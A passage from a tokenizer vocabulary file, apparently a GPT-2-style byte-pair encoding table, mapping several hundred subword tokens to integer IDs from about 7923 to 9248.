7923, "\u0120directed": 7924, "\u0120extract": 7925, "\u0120sorry": 7926, "\u0120vice": 7927, "agger": 7928, "\u0120Support": 7929, "\u012066": 7930, "\u0120Iron": 7931, "\u0120wonderful": 7932, "\u0120gra": 7933, "Net": 7934, "ione": 7935, "Eng": 7936, "\u0120ships": 7937, "ikes": 7938, "\u0120Kevin": 7939, "itar": 7940, "\u0120activists": 7941, "true": 7942, "\u0120Arizona": 7943, "enth": 7944, "\u0120Despite": 7945, "\u0120SE": 7946, "\u0120habit": 7947, "ernel": 7948, "\u0120inqu": 7949, "\u0120abortion": 7950, "\u0120void": 7951, "\u0120explicit": 7952, "\u0120engaged": 7953, "\u0120angry": 7954, "\u0120rating": 7955, "\u0120frag": 7956, "bro": 7957, "icking": 7958, "dev": 7959, "\u0120worried": 7960, "\u0120obser": 7961, "\u0120apartment": 7962, "\u0120GT": 7963, "\u0120estate": 7964, "\u0120Constitution": 7965, "emon": 7966, "\u0120Snow": 7967, "\u0120county": 7968, "\u0120disag": 7969, "\u0120Stephen": 7970, "\u0120immigrants": 7971, "wind": 7972, "\u0120Nations": 7973, "\u0120folks": 7974, "Out": 7975, "\u0120gall": 7976, "\u0120targeted": 7977, "\u0120stead": 7978, "\u0120Bon": 7979, "\u0120Lib": 7980, "\u0120informed": 7981, "\u0120120": 7982, "chain": 7983, "idelines": 7984, "orough": 7985, "\u0120driven": 7986, "\u0120regularly": 7987, "\u0120basket": 7988, "\u0120principle": 7989, "ocument": 7990, "\u0120stun": 7991, "ibilities": 7992, "\u0120Roman": 7993, "\u0120About": 7994, "\u0120alert": 7995, "\u0120democracy": 7996, "\u0120represented": 7997, "HS": 7998, "cers": 7999, "parent": 8000, "Art": 8001, "pack": 8002, "\u0120diplom": 8003, "rets": 8004, "\u0120NO": 8005, "\u0120capture": 8006, "\u0120Adv": 8007, "\u0126\u00a2": 8008, "\u0120announcement": 8009, "\u0120Lear": 8010, "\u0120hook": 8011, "\u0120purs": 8012, "\u0120Such": 8013, "\u0120Camer": 8014, "\u0120refugees": 8015, "\u0120Ve": 8016, "Pol": 8017, "\u0120recognized": 8018, "lib": 8019, "\u0120hadn": 8020, "Ass": 8021, "\u0120pilot": 8022, "ushing": 8023, "\u0120returning": 8024, "\u0120trail": 8025, "\u0120Stone": 8026, "\u0120routine": 8027, "\u0120courts": 8028, "\u0120desper": 8029, "\u0120friendly": 8030, "\u0120Italy": 8031, "\u0120pled": 8032, "\u0120breath": 8033, "\u0120studio": 8034, "NS": 8035, "\u0120impressive": 8036, "\u0120Afghanistan": 8037, "\u0120fing": 8038, "\u0120downt": 8039, "inking": 8040, "\u0120Rog": 8041, "iary": 8042, "color": 8043, "sex": 8044, "aron": 8045, "\u0120fault": 8046, "\u0120Nick": 8047, "Down": 8048, "\u0120Rose": 8049, "\u0120Southern": 8050, "XX": 8051, "isodes": 8052, "List": 8053, "600": 8054, "\u0120outcome": 8055, "err": 8056, "\u0120elsewhere": 8057, "\u0120retire": 8058, "\u0120pounds": 8059, "\u0120Global": 8060, "People": 8061, "\u0120communications": 8062, "\u0120loan": 8063, "\u0120ratio": 8064, "\u0120Empire": 8065, "\u0120gonna": 8066, "\u0120invent": 8067, "DF": 8068, "\u01201970": 8069, "\u0120Common": 8070, "pat": 8071, "\u0120promised": 8072, "\u0120dinner": 8073, "\u0120Hom": 8074, "\u0120creates": 8075, "\u0120operate": 8076, "verty": 8077, "\u0120Jordan": 8078, "etime": 8079, "\u0120sustain": 8080, "Reg": 8081, "\u0120incredible": 8082, "ima": 8083, "\u0120warrant": 8084, "\u0120mm": 8085, "Att": 8086, "\u0120lawsuit": 8087, "\u0120reviews": 8088, "iture": 8089, "\u0120Source": 8090, "lights": 8091, "\u0120Ford": 8092, "\u012063": 8093, "group": 8094, "store": 8095, "\u0120featured": 8096, "\u0120forever": 8097, "\u0120poverty": 8098, "\u0120Pop": 8099, "\u0120CNN": 8100, "azz": 8101, "abis": 8102, "aching": 8103, "\u0120laid": 8104, "\u0120Supp": 8105, "\u0120filter": 8106, "ena": 8107, "\u0120Community": 8108, "\u0120creatures": 8109, "uction": 8110, "\u0120Royal": 8111, "\u0120association": 8112, "\u0120Connect": 8113, "\u0120Brad": 8114, "\u00e2\u0138\u012a": 8115, "lers": 8116, "there": 8117, "\u0120Gi": 8118, "\u0120valuable": 8119, "ACK": 8120, "\u0120Taylor": 8121, "\u0120liquid": 8122, "\u0120Attorney": 8123, "\u0120Carl": 8124, "\u0120Final": 8125, "aga": 8126, "\u0120Wilson": 8127, "Because": 8128, "\u0120Professor": 8129, "aka": 8130, "\u0120incredibly": 8131, "rance": 8132, "!)": 8133, "Ref": 8134, "sk": 8135, "\u0120solutions": 8136, "\u0120atmosphere": 8137, "\u0120blame": 8138, "umes": 8139, "\u0120Nob": 8140, "CA": 8141, "umps": 8142, "rical": 8143, "\u0120Putin": 8144, "\u0120Dest": 8145, "oric": 8146, "\u0120PA": 8147, "\u0120respectively": 8148, "wan": 8149, "\u0120fifth": 8150, "\u00e2\u0126\u00a2": 8151, "\u0120Cry": 8152, "\u0120governor": 8153, "resident": 8154, "\u0120purchased": 8155, "\u0120hack": 8156, "\u0120intense": 8157, "obs": 8158, "\u0120origin": 8159, "\u0120define": 8160, "\u0120careful": 8161, "***": 8162, "\u0120shoulder": 8163, "Click": 8164, "\u0120tied": 8165, "\u0120destruction": 8166, "oured": 8167, "\u0120nobody": 8168, "\u0120ho": 8169, "\u0120Exper": 8170, "\u0120tip": 8171, "\";": 8172, "\u0120technique": 8173, "\u0120jur": 8174, "\u0120Pok": 8175, "bow": 8176, "\u0120legend": 8177, "\u0120accord": 8178, "\u0120busy": 8179, "\u0120Intel": 8180, "\u0120hang": 8181, "aki": 8182, ".]": 8183, "\u00e2\u0122\u0136\u00e2\u0122\u0136\u00e2\u0122\u0136\u00e2\u0122\u0136": 8184, "\u0120surgery": 8185, "\u0120reprodu": 8186, "\u0120uniform": 8187, "\u0120scenes": 8188, "code": 8189, "\u012062": 8190, "lisher": 8191, "\u0120Have": 8192, "phia": 8193, "\u0120crypt": 8194, "\u0120recon": 8195, "\u0120scream": 8196, "\u0120adopted": 8197, "\u0120scores": 8198, "Ne": 8199, "\u0120Italian": 8200, "including": 8201, "BO": 8202, "\u0120indicated": 8203, "\u0120entertain": 8204, "Gu": 8205, "Text": 8206, "iel": 8207, "\u0120twenty": 8208, "\u0120engage": 8209, "offs": 8210, "\u0120Pacific": 8211, "\u0120smile": 8212, "\u0120personnel": 8213, "\u0120toler": 8214, "\u0120doors": 8215, "\u0120tone": 8216, "\u0120machines": 8217, "\u0120entering": 8218, "tenance": 8219, "CO": 8220, "\u0120Jersey": 8221, "\u0120forest": 8222, "\u0120horse": 8223, "\u0120complaint": 8224, "\u0120Spring": 8225, "yo": 8226, "\u0120Plus": 8227, "eding": 8228, "\u0120Return": 8229, "quarters": 8230, "ials": 8231, "cow": 8232, "\u0120academic": 8233, "\u0120fruit": 8234, "\u01201996": 8235, "ogether": 8236, "\u0120wine": 8237, "\u0120pursu": 8238, "\u0120Steven": 8239, "\u0120licens": 8240, "Who": 8241, "\u0120clothes": 8242, "rection": 8243, "\u0120squad": 8244, "\u0120stable": 8245, "\u0120raw": 8246, "zens": 8247, "Star": 8248, "uties": 8249, "ancer": 8250, "\u0120keys": 8251, "\u0120Mu": 8252, "\u0120complicated": 8253, "iger": 8254, "\u0120Text": 8255, "\u0120absor": 8256, "\u012068": 8257, "\u0120funny": 8258, "\u0120relief": 8259, "\u0120Lew": 8260, "\u0120Cook": 8261, "\u0120chart": 8262, "\u0120drawing": 8263, "GE": 8264, "\u0120module": 8265, "\u0120Bull": 8266, "ILL": 8267, "\u0120salt": 8268, "00000000": 8269, "ille": 8270, "\u0120resource": 8271, "away": 8272, "adelphia": 8273, "\u0120Bru": 8274, "\u012067": 8275, "\u0120somebody": 8276, "\u0120participate": 8277, "\u0120rose": 8278, "wered": 8279, "\u0120muscle": 8280, "\u0120consent": 8281, "\u0120continuing": 8282, "\u0120Guardian": 8283, "\u0120Order": 8284, "regon": 8285, "\u0120rear": 8286, "\u0120provision": 8287, "\u0120liked": 8288, "rient": 8289, "\u0120bra": 8290, "Trans": 8291, "\u0120meetings": 8292, "\u0120tox": 8293, "\u0120convent": 8294, "\u0120auto": 8295, "\u0120recording": 8296, "\u0120Soft": 8297, "001": 8298, "\u0120Roll": 8299, "\u0120programming": 8300, "\u0120pic": 8301, "\u0120proved": 8302, "\u0120stab": 8303, "\u0120Ast": 8304, "\u0120caption": 8305, "ulating": 8306, "\u0120Attack": 8307, "\u0120newly": 8308, "\u01201997": 8309, "fr": 8310, "\u0120discipl": 8311, "\u0120Greek": 8312, "\u0120edition": 8313, "\u0120Does": 8314, "\u0120Box": 8315, "ifle": 8316, "acket": 8317, "\u0120passes": 8318, "\u0120guest": 8319, "\u0120acceler": 8320, "itals": 8321, "UD": 8322, "\u0120authent": 8323, "\u0120Rest": 8324, "oval": 8325, "ta": 8326, "uine": 8327, "\u0120armor": 8328, "\u0120Town": 8329, "\u0120compat": 8330, "\u0120inches": 8331, "Despite": 8332, "\u0120assign": 8333, "herent": 8334, "\u0120prepare": 8335, "\u0120Meg": 8336, "ockey": 8337, "\u0120depends": 8338, "\u0120tracks": 8339, "watch": 8340, "\u0120lists": 8341, "\u0120Northern": 8342, "\u0120alter": 8343, "rec": 8344, "\u0120Eastern": 8345, "\u0120condem": 8346, "\u0120everywhere": 8347, "?'": 8348, "\u0120affili": 8349, "\u0120fought": 8350, "\":{\"": 8351, "\u0120mac": 8352, "itarian": 8353, "\u0120scope": 8354, "\u0120AL": 8355, "aws": 8356, "arms": 8357, "\u0120que": 8358, "\u0120enjoyed": 8359, "nesota": 8360, "\u0120aggressive": 8361, "\u0120Story": 8362, "\u0120IV": 8363, "\u0120recipe": 8364, "\u0120rarely": 8365, "\u0120Medical": 8366, "value": 8367, "angel": 8368, "aying": 8369, "omething": 8370, "\u0120subsection": 8371, "\u0120southern": 8372, "\u0120frequency": 8373, "rete": 8374, "rolled": 8375, "ults": 8376, "\u0120Nic": 8377, "\u0120behalf": 8378, "\u0120sequence": 8379, "abet": 8380, "\u0120controversial": 8381, "\u0120comprom": 8382, "\u0120worker": 8383, "\u0120mainly": 8384, "\u0120algorith": 8385, "\u0120Major": 8386, "orce": 8387, "gender": 8388, "\u0120organized": 8389, "\u0120fake": 8390, "\u0120concluded": 8391, "\u0120ED": 8392, "\u0120Exec": 8393, "rage": 8394, "\u0120chances": 8395, "berry": 8396, "\u0120Trad": 8397, "\u0120configuration": 8398, "\u0120withdraw": 8399, "\u0120fro": 8400, "udes": 8401, "\u0120Brother": 8402, "\u0120Brian": 8403, "\u0120tries": 8404, "\u0120samples": 8405, "\u0120bid": 8406, "\u0120Golden": 8407, "\u0120photograph": 8408, "ifest": 8409, "\u0120DO": 8410, "\u0120Parliament": 8411, "****************": 8412, "Rem": 8413, "\u0120contest": 8414, "\u0120signing": 8415, "px": 8416, "\u0120Zeal": 8417, "\u00e2\u0136\u0122\u00e2\u0136\u0122": 8418, "Ear": 8419, "\u0120exit": 8420, "Before": 8421, "\u0120Corpor": 8422, "null": 8423, "month": 8424, "\u0120racial": 8425, "otted": 8426, "\u0120Veg": 8427, "\u0120Reuters": 8428, "\u0120sword": 8429, "pson": 8430, "\u0120Romney": 8431, "aed": 8432, "\u0120trib": 8433, "\u0120inner": 8434, "\u0120protocol": 8435, "\u0120Bi": 8436, "\u0120Miami": 8437, "everal": 8438, "press": 8439, "\u0120shipping": 8440, "\u0120Amendment": 8441, "\u0120Howard": 8442, "connect": 8443, "\u0120Disc": 8444, "\u0120Jac": 8445, "iamond": 8446, "\u0120Therefore": 8447, "ses": 8448, "\u0120Princess": 8449, "\u0120USB": 8450, "\u0120Anth": 8451, "\u0120surveillance": 8452, "\u0120apolog": 8453, "\u012061": 8454, "owa": 8455, "\u0120fulf": 8456, "js": 8457, "\u0120luck": 8458, "usted": 8459, "\u0120\u00c2\u00a7": 8460, "ni": 8461, "\u0120anticip": 8462, "eman": 8463, "\u0120winner": 8464, "\u0120silver": 8465, "lla": 8466, "icity": 8467, "\u0120unusual": 8468, "\u0120crack": 8469, "\u0120ties": 8470, "ez": 8471, "\u0120practical": 8472, "\u0120province": 8473, "\u0120Place": 8474, "\u0120priority": 8475, "ICE": 8476, "\u0120describes": 8477, "\u0120branch": 8478, "Form": 8479, "aska": 8480, "missions": 8481, "bi": 8482, "\u0120porn": 8483, "\u0120Turk": 8484, "\u0120enthus": 8485, "\u0120fighters": 8486, "\u012008": 8487, "\u0120Detroit": 8488, "\u0120foundation": 8489, "avid": 8490, "Are": 8491, "\u0120judgment": 8492, "cling": 8493, "\u0120solve": 8494, "\u0120Design": 8495, "Where": 8496, "hesis": 8497, "\u0120Tro": 8498, "after": 8499, "\u0120neutral": 8500, "\u0120Palestinian": 8501, "\u0120Hollywood": 8502, "\u0120advis": 8503, "\u0120Non": 8504, "yes": 8505, "olis": 8506, "\u0120reputation": 8507, "\u0120smell": 8508, "\u0120bread": 8509, "\u0120Bul": 8510, "\u0120Beach": 8511, "\u0120claiming": 8512, "\u0120genetic": 8513, "\u0120technologies": 8514, "\u0120upgrade": 8515, "rows": 8516, "\u0120developer": 8517, "\u0120Josh": 8518, "\u0120Disney": 8519, "erved": 8520, "ipal": 8521, "\u0120unex": 8522, "\u0120barely": 8523, "then": 8524, "\u0120Pub": 8525, "\u0120illness": 8526, "etary": 8527, "\u0120Bal": 8528, "\u0120patch": 8529, "\u0120butt": 8530, "\u0120stupid": 8531, "\u0120Dog": 8532, "\u0120Dallas": 8533, "front": 8534, "iece": 8535, "\u0120protests": 8536, "\u0120chat": 8537, "oenix": 8538, "\u0120wing": 8539, "\u0120parliament": 8540, "\u012077": 8541, "osexual": 8542, "\u0120render": 8543, "ptions": 8544, "\u0120Coast": 8545, "osa": 8546, "\u0120Greg": 8547, "hop": 8548, "\u0120Management": 8549, "\u0120bitcoin": 8550, "\u0120recover": 8551, "\u0120incorpor": 8552, "orne": 8553, "\u0120Using": 8554, "\u0120preced": 8555, "\u0120threatened": 8556, "\u0120spiritual": 8557, "\u0120Event": 8558, "\u0120Fred": 8559, "\u0120advertising": 8560, "\u0120improvements": 8561, "\u0120Custom": 8562, "\u0120errors": 8563, "\u0120sensitive": 8564, "\u0120Navy": 8565, "\u0120cream": 8566, "Look": 8567, "\u0120exclusive": 8568, "\u0120comprehens": 8569, "\u0120deleg": 8570, "\u0120conce": 8571, "\u0120remem": 8572, "\u0120structures": 8573, "\u0120stored": 8574, "ND": 8575, "\u01201000": 8576, "UP": 8577, "\u0120Budd": 8578, "AF": 8579, "woman": 8580, "\u0120Academy": 8581, "\u00f0\u0141": 8582, "sea": 8583, "\u0120temporary": 8584, "About": 8585, "esters": 8586, "\u0120tickets": 8587, "\u0120possess": 8588, "inch": 8589, "oz": 8590, "\u0120la": 8591, "\u0120contracts": 8592, "\u0120unp": 8593, "\u0120cig": 8594, "\u0120Kat": 8595, "ultural": 8596, "asm": 8597, "\u0120mountain": 8598, "\u0120Captain": 8599, "Step": 8600, "making": 8601, "\u0120Spain": 8602, "\u0120equally": 8603, "\u0120lands": 8604, "aters": 8605, "\u0120rejected": 8606, "era": 8607, "imm": 8608, "rix": 8609, "CD": 8610, "\u0120transaction": 8611, "gener": 8612, "lessly": 8613, "\u0120||": 8614, "\u0120cos": 8615, "\u0120Henry": 8616, "\u0120provisions": 8617, "\u0120gained": 8618, "\u0120directory": 8619, "\u0120raising": 8620, "\u0120Sep": 8621, "olen": 8622, "onder": 8623, "\u0120console": 8624, "inst": 8625, "\u0120bom": 8626, "\u0120uncertain": 8627, "150": 8628, "ocking": 8629, "\u0120measured": 8630, "\u0120plain": 8631, "\u0120seats": 8632, "\u0120dict": 8633, "SL": 8634, "afe": 8635, "\u0120estimate": 8636, "izon": 8637, "athered": 8638, "\u0120contributed": 8639, "\u0120episodes": 8640, "ommod": 8641, "Gr": 8642, "ANT": 8643, "\u012069": 8644, "Gener": 8645, "\u0120250": 8646, "viously": 8647, "rogen": 8648, "\u0120terrorism": 8649, "\u0120movements": 8650, "entle": 8651, "ounce": 8652, "\u0120Soul": 8653, "\u0120prev": 8654, "\u0120Table": 8655, "acts": 8656, "riors": 8657, "tab": 8658, "\u0120suffer": 8659, "\u0120nerv": 8660, "\u0120mainstream": 8661, "\u0120Wolf": 8662, "\u0120franchise": 8663, "bat": 8664, "\u0120demands": 8665, "\u0120agenda": 8666, "\u0120dozen": 8667, "\u0120clinical": 8668, "izard": 8669, "\u0120Op": 8670, "td": 8671, "\u0120visited": 8672, "\u0120Perhaps": 8673, "\u0120actor": 8674, "\u0120delic": 8675, "\u0120contribute": 8676, "\u0120inject": 8677, "\u0120Es": 8678, "acco": 8679, "\u0120listening": 8680, "\u0120congress": 8681, "ependent": 8682, "\u0120premium": 8683, "\u012076": 8684, "\u0120Irish": 8685, "\u0120assigned": 8686, "\u0120Phys": 8687, "\u0120worldwide": 8688, "\u0120narrative": 8689, "otype": 8690, "mont": 8691, "base": 8692, "\u0120Bowl": 8693, "\u0120Administration": 8694, "\u0120relation": 8695, "\u0120EV": 8696, "CP": 8697, "\u0120covers": 8698, "\u012078": 8699, "\u0120certific": 8700, "\u0120grass": 8701, "\u012004": 8702, "piracy": 8703, "ira": 8704, "\u0120engineering": 8705, "\u0120Mars": 8706, "\u0120unemploy": 8707, "\u0120Foreign": 8708, "stract": 8709, "\u0120ven": 8710, "\u0120steal": 8711, "\u0120replied": 8712, "\u0120ultimate": 8713, "\u0120titles": 8714, "dated": 8715, "\u0120joy": 8716, "aus": 8717, "\u0120hyper": 8718, "aku": 8719, "\u0120officially": 8720, "\u0120Product": 8721, "\u0120difficulty": 8722, "peror": 8723, "\u0120resulted": 8724, "ribed": 8725, "link": 8726, "who": 8727, "~~~~": 8728, "\u0120Speed": 8729, "\u0120Viet": 8730, "Wind": 8731, "\u0120Barack": 8732, "\u0120restrictions": 8733, "\u0120Share": 8734, "\u01201995": 8735, "itionally": 8736, "\u0120beauty": 8737, "opt": 8738, "\u0120maps": 8739, "\u0120CR": 8740, "\u0120Nation": 8741, "\u0120Cruz": 8742, "Will": 8743, "\u0120electricity": 8744, "\u0120org": 8745, "\u0120burd": 8746, "\u0120violation": 8747, "\u0120usage": 8748, "\u0120permit": 8749, "\u0120Chron": 8750, "\u0120Fant": 8751, "\u0120naturally": 8752, "\u012007": 8753, "\u0120thrown": 8754, "\u0120Awoken": 8755, "\u0120alien": 8756, "\u0120Hero": 8757, "\u0120Kent": 8758, "\u0120Rick": 8759, "rike": 8760, "\u0120pace": 8761, "},{\"": 8762, "GL": 8763, "\u0120poison": 8764, "\u0120Tower": 8765, "\u0120formal": 8766, "alysis": 8767, "\u0120genuine": 8768, "\u0120kil": 8769, "aver": 8770, "\u0120procedure": 8771, "\u0120Prop": 8772, "intendo": 8773, "\u0120Main": 8774, "asant": 8775, "\u0120trained": 8776, "Game": 8777, "\u0120Load": 8778, "\u0120MA": 8779, "\u0120crucial": 8780, "\u0120lets": 8781, "\u0120FR": 8782, "\u0120champion": 8783, "101": 8784, "\u0120Conference": 8785, "\u0120writers": 8786, "\u0120connections": 8787, "\u0120okay": 8788, "irms": 8789, "\u0120Rand": 8790, "\u0120encounter": 8791, "\u0120Buff": 8792, "\u0120achieved": 8793, "\u0120checks": 8794, "iscons": 8795, "\u0120assistant": 8796, "\u0120whenever": 8797, "\u0120Access": 8798, "\u0120Ur": 8799, "bin": 8800, "\u0120clock": 8801, "isp": 8802, "opher": 8803, "\u0120borrow": 8804, "\u0120mad": 8805, "\u0120personality": 8806, "only": 8807, "IST": 8808, "abama": 8809, "\u0120gains": 8810, "\u0120commonly": 8811, "\u0120terr": 8812, "\u0120hypot": 8813, "\u0120rely": 8814, "\u0120tiss": 8815, "isconsin": 8816, "\u0120ridic": 8817, "function": 8818, "\u0120Oregon": 8819, "\u0120uncom": 8820, "rating": 8821, "eland": 8822, "\u0120NC": 8823, "\u0120moon": 8824, "annon": 8825, "\u0120vulnerable": 8826, "utive": 8827, "\u00c2\u0142\u00c2\u0142\u00c2\u0142\u00c2\u0142": 8828, "\u0120Radio": 8829, "\u0120western": 8830, "sect": 8831, "\u0120Tony": 8832, "\u0120occurs": 8833, "\u0120Os": 8834, "\u0120Hon": 8835, "\u00c3\u0143": 8836, "\u0120vessel": 8837, "\u0120Scotland": 8838, "\u0120discrimination": 8839, "\u0120subsequent": 8840, "string": 8841, "\u0120fantasy": 8842, "\u0120Shadow": 8843, "\u0120testim": 8844, "WE": 8845, "iti": 8846, "ras": 8847, "\u0120boat": 8848, "\u0120marks": 8849, "\u0120ordinary": 8850, "\u0120ren": 8851, "\u0120representative": 8852, "\u0120petition": 8853, "\u012073": 8854, "\u0120adventure": 8855, "\u0120ignore": 8856, "\u0120Philadelphia": 8857, "\u0120Sav": 8858, "VP": 8859, "\u0120factory": 8860, "\u0120tasks": 8861, "\u0120depression": 8862, "zed": 8863, "................................": 8864, "\u0120Storm": 8865, "\u0120cogn": 8866, "\u0120eligible": 8867, "\u0120reducing": 8868, "via": 8869, "\u012005": 8870, "\u0120striking": 8871, "\u0120dollar": 8872, "ho": 8873, "OV": 8874, "\u0120instrument": 8875, "\u0120philosophy": 8876, "\u0120Moore": 8877, "\u0120Avenue": 8878, "\u0120ruled": 8879, "\u0120Front": 8880, "INE": 8881, "\u0120Mah": 8882, "\u0120scenario": 8883, "\u0120NASA": 8884, "\u0120enorm": 8885, "\u0120debut": 8886, "\u0120tea": 8887, "Today": 8888, "\u0120absence": 8889, "Sim": 8890, "\u0120ham": 8891, "leep": 8892, "\u0120tables": 8893, "\u0120Heart": 8894, "MI": 8895, "Ke": 8896, "requ": 8897, "VD": 8898, "map": 8899, "\u0120chairman": 8900, "\u0120pump": 8901, "\u0120rapidly": 8902, "vi": 8903, "\u0120substantial": 8904, "EP": 8905, "des": 8906, "chant": 8907, "ilipp": 8908, "\u0120Santa": 8909, "riers": 8910, "anchester": 8911, "Load": 8912, "\u0120Case": 8913, "\u0120saving": 8914, "\u012074": 8915, "\u0120AFP": 8916, "erning": 8917, "ounced": 8918, "\u0120Minnesota": 8919, "\u0120Was": 8920, "\u0120recru": 8921, "\u0120assessment": 8922, "\u0120Bron": 8923, "UE": 8924, "\u0120dynamic": 8925, "\u0120furn": 8926, "ulator": 8927, "\u0120propag": 8928, "high": 8929, "\u0120accommod": 8930, "\u0120stack": 8931, "\u0120Sus": 8932, "writ": 8933, "\u0120reven": 8934, "\u0120Godd": 8935, "\u0120Zealand": 8936, "abs": 8937, "\u0120brut": 8938, "\u0120perpet": 8939, "hot": 8940, "\u0120hardly": 8941, "\u0120Burn": 8942, "\u00e3\u0124\u00b9": 8943, "\u0120sty": 8944, "\u0120transactions": 8945, "\u0120gate": 8946, "\u0120screens": 8947, "\u0120submitted": 8948, "\u0120101": 8949, "\u0120languages": 8950, "ught": 8951, "emen": 8952, "\u0120falls": 8953, "\u0120coc": 8954, "\u0124\u00ac": 8955, "\u0120strikes": 8956, "pa": 8957, "\u0120deliber": 8958, "\u0120IM": 8959, "\u0120relax": 8960, "annels": 8961, "\u0120Senator": 8962, "\u0120extrem": 8963, "\u0120},": 8964, "\u0120Deb": 8965, "\u0120bell": 8966, "\u0120disorder": 8967, "cut": 8968, "\u0120iOS": 8969, "\u0120locked": 8970, "\u0120emissions": 8971, "\u0120shortly": 8972, "\"]": 8973, "\u0120Judge": 8974, "\u0120Sometimes": 8975, "\u0120rival": 8976, "\u0120dust": 8977, "\u0120reaching": 8978, "File": 8979, "\u00c2\u00af\u00c2\u00af\u00c2\u00af\u00c2\u00af": 8980, "inois": 8981, "\u0120Jason": 8982, "\u0120satell": 8983, "aret": 8984, "\u0120stations": 8985, "\u0120agric": 8986, "\u0120Technology": 8987, "comes": 8988, "\u0120Unfortunately": 8989, "\u0120Children": 8990, "\u0120applies": 8991, "asted": 8992, "\u0120anger": 8993, "ailability": 8994, "\u0120Damage": 8995, "\u0120compare": 8996, "\u0120Standard": 8997, "\u0120aimed": 8998, "\u0120Ba": 8999, "anguage": 9000, "\u0120regulation": 9001, "\u0120jury": 9002, "\u0120airport": 9003, "\u0120sections": 9004, "\u0120Prince": 9005, "emed": 9006, "\u0120medicine": 9007, "\u0120hitting": 9008, "\u0120spark": 9009, "olves": 9010, "\u0120ads": 9011, "State": 9012, "\u0120foods": 9013, "\u0120replacement": 9014, "\u0120chicken": 9015, "\u0120lowest": 9016, "\u0120minds": 9017, "\u0120involves": 9018, "ui": 9019, "\u0120arrang": 9020, "\u0120procedures": 9021, "\u0120Which": 9022, "iversary": 9023, "\u0120bills": 9024, "\u0120improvement": 9025, "\u0120inev": 9026, "\u0120expectations": 9027, "\u0120intellectual": 9028, "\u0120spaces": 9029, "\u0120mechanism": 9030, "250": 9031, "break": 9032, "\u0120Ze": 9033, "\u0120Tenn": 9034, "\u0120Balt": 9035, "\u0120barrel": 9036, "\u0120static": 9037, "mann": 9038, "Police": 9039, "\u0120tips": 9040, "\u0120handling": 9041, "cus": 9042, "oded": 9043, "ilton": 9044, "iry": 9045, "\u0120journalists": 9046, "ourse": 9047, "\u0120comic": 9048, "\u0120nomine": 9049, "ITY": 9050, "\u0120versus": 9051, "\u0120loop": 9052, "\u0120surf": 9053, "\u0120Indust": 9054, "\u0120Hunter": 9055, "\u0120beliefs": 9056, "isan": 9057, "\u0120setup": 9058, "\u0120brew": 9059, "image": 9060, "\u0120computers": 9061, "fol": 9062, "},\"": 9063, "\u0120Medal": 9064, "\u0120taxp": 9065, "\u0120displayed": 9066, "\u0120grav": 9067, "\u0120fiscal": 9068, "Mon": 9069, "\u0120Moscow": 9070, "\u0120Kong": 9071, "\u0120Centre": 9072, "\u0120cameras": 9073, "\u0120Mrs": 9074, "\u0120Hay": 9075, "\u0120aver": 9076, "\u0120Kelly": 9077, "py": 9078, "\u0120requirement": 9079, "\u0120entitled": 9080, "ombie": 9081, "\u0120shadow": 9082, "agic": 9083, "\u0120Ak": 9084, "\u0120elite": 9085, "\u0120divided": 9086, "\u0120heading": 9087, "\u0120copies": 9088, "\u0120losses": 9089, "\u0120vit": 9090, "ked": 9091, "\u0120Bry": 9092, "\u0120ans": 9093, "\u0120Steam": 9094, "\u0120reporter": 9095, "heim": 9096, "\u0120Item": 9097, "\u0120superior": 9098, "don": 9099, "erent": 9100, "\u00c3\u00b6": 9101, "\u0120therapy": 9102, "\u0120peak": 9103, "\u0120Model": 9104, "\u0120lying": 9105, "\u0120gam": 9106, "zer": 9107, "ritten": 9108, "\u0120responses": 9109, "\u0120consideration": 9110, "\u0120Bible": 9111, "\u0120loyal": 9112, "\u0120instant": 9113, "\u0120pm": 9114, "\u0120Forest": 9115, "\u00c3\u00bc": 9116, "\u0120extend": 9117, "\u0120convicted": 9118, "\u0120founder": 9119, "\u0120convin": 9120, "\u0120Oak": 9121, "check": 9122, "\u0120scholars": 9123, "ped": 9124, "\u0120overse": 9125, "Top": 9126, "count": 9127, "\u0120Ark": 9128, "\u00c2\u00b7": 9129, "\u012006": 9130, "\u0120LA": 9131, "md": 9132, "\u0120Latin": 9133, "imental": 9134, "\u0120CPU": 9135, "\u0120substance": 9136, "\u0120minority": 9137, "\u0120manufacturing": 9138, "Er": 9139, "ocolate": 9140, "\u0120attended": 9141, "\u0120Manager": 9142, "rations": 9143, "\u0120appreciate": 9144, "omy": 9145, "GBT": 9146, "idency": 9147, "BL": 9148, "\u0120guarantee": 9149, "position": 9150, "\u0120ocean": 9151, "clude": 9152, "\u0120headed": 9153, "\u0120tape": 9154, "\u0120loose": 9155, "\u0120logic": 9156, "\u0120proven": 9157, "\u0120spir": 9158, "\u0120admit": 9159, "isa": 9160, "\u0120investigate": 9161, "\u01201994": 9162, "sylv": 9163, "\u0120Lost": 9164, "cest": 9165, "\u012071": 9166, "\u0120requested": 9167, "\u0120windows": 9168, "\u0120Pok\u00c3\u00a9": 9169, "\u0120Without": 9170, "Met": 9171, "\u0120behaviour": 9172, "\u0120reader": 9173, "\u0120hung": 9174, "\u0120Keep": 9175, "\u0120roles": 9176, "\u0120implemented": 9177, "\u0120blank": 9178, "\u0120serves": 9179, "\u0120Jay": 9180, "\u0120cited": 9181, "\u0120Friend": 9182, "profit": 9183, "apon": 9184, "\u0120repair": 9185, "item": 9186, "arrass": 9187, "\u0120critics": 9188, "adi": 9189, "\u0120Father": 9190, "\u0120shout": 9191, "\u0120fool": 9192, "\u012088": 9193, "\u0120producing": 9194, "\u0120lib": 9195, "\u0120rounds": 9196, "\u0120circle": 9197, "\u0120prepar": 9198, "\u0120submit": 9199, "\u0120nic": 9200, "morrow": 9201, "\u00e3\u0125\u00ab": 9202, "Under": 9203, "\u0120vital": 9204, "atern": 9205, "\u0120password": 9206, "\u0120publication": 9207, "\u0120prominent": 9208, "\u0120speaks": 9209, "\u0120bars": 9210, "\u0120deeper": 9211, "\u0120Mill": 9212, "ported": 9213, "\u0120wid": 9214, "\u0120butter": 9215, "\u0120smoking": 9216, "\u0120indicates": 9217, "Key": 9218, "ropri": 9219, "\u0120File": 9220, "alling": 9221, "asting": 9222, "\u0120Rus": 9223, "\u0120adj": 9224, "\u012079": 9225, "aval": 9226, "\u0120presum": 9227, "burgh": 9228, "onic": 9229, "\u0120fur": 9230, "\u0120polls": 9231, "ika": 9232, "\u0120secondary": 9233, "\u0120monster": 9234, "igs": 9235, "\u0120Current": 9236, "Event": 9237, "\u0120ownership": 9238, "endar": 9239, "\u0120arrive": 9240, "\u0120Tax": 9241, "\u0120null": 9242, "\u0120Priv": 9243, "\u0120thro": 9244, "\u0120kiss": 9245, "cat": 9246, "\u0120upset": 9247, "angle": 9248, "itches": 